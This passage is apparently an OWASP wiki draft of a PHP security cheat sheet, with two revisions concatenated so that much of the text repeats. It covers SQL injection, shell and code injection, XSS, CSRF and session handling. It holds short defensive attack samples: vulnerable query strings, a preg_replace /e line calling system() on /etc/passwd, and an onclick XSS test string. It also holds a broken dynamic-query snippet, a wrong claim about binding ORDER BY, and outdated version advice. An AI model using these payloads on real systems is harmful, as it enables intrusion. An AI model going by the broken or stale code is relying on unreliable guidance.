If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T20:00:42Z

Luke Plant: Warning about file uploads.

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

